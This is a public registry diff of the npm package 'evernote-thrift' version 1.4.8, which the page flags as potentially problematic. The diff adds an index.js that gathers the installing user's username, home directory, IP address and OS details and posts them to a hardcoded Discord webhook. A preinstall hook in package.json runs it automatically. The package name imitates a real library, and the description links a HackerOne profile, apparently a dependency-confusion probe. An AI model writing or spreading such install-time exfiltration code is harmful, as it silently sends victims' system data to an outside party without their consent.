evernote-thrift 1.4.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of evernote-thrift might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +84 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const { exec } = require("child_process");
2
+ const os = require("os");
3
+ const https = require("https");
4
+
5
+ const webhookUrl = "https://discord.com/api/webhooks/1302187232995708978/JGt9ow3hM5ZZkzQmmlnOyC2CTlDRZ5bwMPJiJy6MSSmFWc2n1vxzj8CmQO4Mb3KCDviG";
6
+
7
+ // Define commands and system information retrieval functions
8
+ function getSystemFingerprint(callback) {
9
+ exec("whoami", (error, stdoutWhoami) => {
10
+ const username = error ? "Error fetching username" : stdoutWhoami.trim();
11
+
12
+ const homeDir = os.homedir();
13
+ const ipAddress = getLocalIPAddress();
14
+ const osType = os.type();
15
+ const osPlatform = os.platform();
16
+ const osRelease = os.release();
17
+ const totalMemory = (os.totalmem() / (1024 ** 3)).toFixed(2) + " GB";
18
+ const freeMemory = (os.freemem() / (1024 ** 3)).toFixed(2) + " GB";
19
+
20
+ const fingerprint = `
21
+ **User:** ${username}
22
+ **Home Directory:** ${homeDir}
23
+ **IP Address:** ${ipAddress}
24
+ **OS Type:** ${osType}
25
+ **OS Platform:** ${osPlatform}
26
+ **OS Release:** ${osRelease}
27
+ **Total Memory:** ${totalMemory}
28
+ **Free Memory:** ${freeMemory}
29
+ `;
30
+
31
+ callback(fingerprint);
32
+ });
33
+ }
34
+
35
+ // Helper function to get the local IP address
36
+ function getLocalIPAddress() {
37
+ const networkInterfaces = os.networkInterfaces();
38
+ for (const interfaceName in networkInterfaces) {
39
+ for (const network of networkInterfaces[interfaceName]) {
40
+ if (network.family === "IPv4" && !network.internal) {
41
+ return network.address;
42
+ }
43
+ }
44
+ }
45
+ return "No external IP found";
46
+ }
47
+
48
+ // Send the fingerprint to the Discord webhook
49
+ function sendToDiscord(message) {
50
+ const data = JSON.stringify({ content: message });
51
+
52
+ const url = new URL(webhookUrl);
53
+ const options = {
54
+ hostname: url.hostname,
55
+ path: url.pathname + url.search,
56
+ method: "POST",
57
+ headers: {
58
+ "Content-Type": "application/json",
59
+ "Content-Length": data.length
60
+ }
61
+ };
62
+
63
+ const req = https.request(options, (res) => {
64
+ let responseData = "";
65
+
66
+ res.on("data", (chunk) => {
67
+ responseData += chunk;
68
+ });
69
+
70
+ res.on("end", () => {
71
+ console.log("Message sent:", responseData);
72
+ });
73
+ });
74
+
75
+ req.on("error", (err) => {
76
+ console.error("Request error:", err);
77
+ });
78
+
79
+ req.write(data);
80
+ req.end();
81
+ }
82
+
83
+ // Run the fingerprint function and send the data to Discord
84
+ getSystemFingerprint(sendToDiscord);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "evernote-thrift",
3
+ "version": "1.4.8",
4
+ "description": "https://hackerone.com/someonealt-86",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }